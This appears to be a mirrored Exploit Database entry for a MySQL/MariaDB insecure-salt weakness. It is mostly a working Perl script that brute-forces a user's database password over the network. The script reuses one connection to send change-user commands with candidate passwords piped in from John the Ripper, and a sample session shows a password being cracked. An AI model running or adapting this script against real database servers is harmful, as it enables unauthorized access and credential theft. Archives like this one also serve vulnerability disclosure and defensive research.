Oracle MySQL / MariaDB – Insecure Salt Generation Security Bypass

• Exploit Database
• 38 阅读

• 作者： kingcope
  日期： 2012-12-06
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/38109/

• source: https://www.securityfocus.com/bid/56837/info
  
  MySQL and MariaDB are prone to a security-bypass weakness.
  
  An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. 
  
  use Net::MySQL;
  
  $|=1;
  
  my $mysql = Net::MySQL->new(
   hostname => '192.168.2.3',
   database => 'test',
   user => "user",
   password => "secret",
   debug => 0,
  );
  
  $crackuser = "crackme";
  
  while(<stdin>) {
  chomp;
  $currentpass = $_;
  
  $vv = join "\0",
  $crackuser,
  "\x14".
  Net::MySQL::Password->scramble(
  $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
  ) . "\0";
  if ($mysql->_execute_command("\x11", $vv) ne undef) {
  print "[*] Cracked! --> $currentpass\n";
  exit;
  }
  }
  ---
  example session:
  
  C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
  hn --incremental --stdout=5 | perl mysqlcrack.pl
  Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
  words: 16382time: 0:00:00:02w/s: 6262current: citcH
  words: 24573time: 0:00:00:04w/s: 4916current: rap
  words: 40956time: 0:00:00:07w/s: 5498current: matc3
  words: 49147time: 0:00:00:09w/s: 5030current: 4429
  words: 65530time: 0:00:00:12w/s: 5354current: ch141
  words: 73721time: 0:00:00:14w/s: 5021current: v3n
  words: 90104time: 0:00:00:17w/s: 5277current: pun2
  [*] Cracked! --> pass
  words: 98295time: 0:00:00:18w/s: 5434current: 43gs
  Session aborted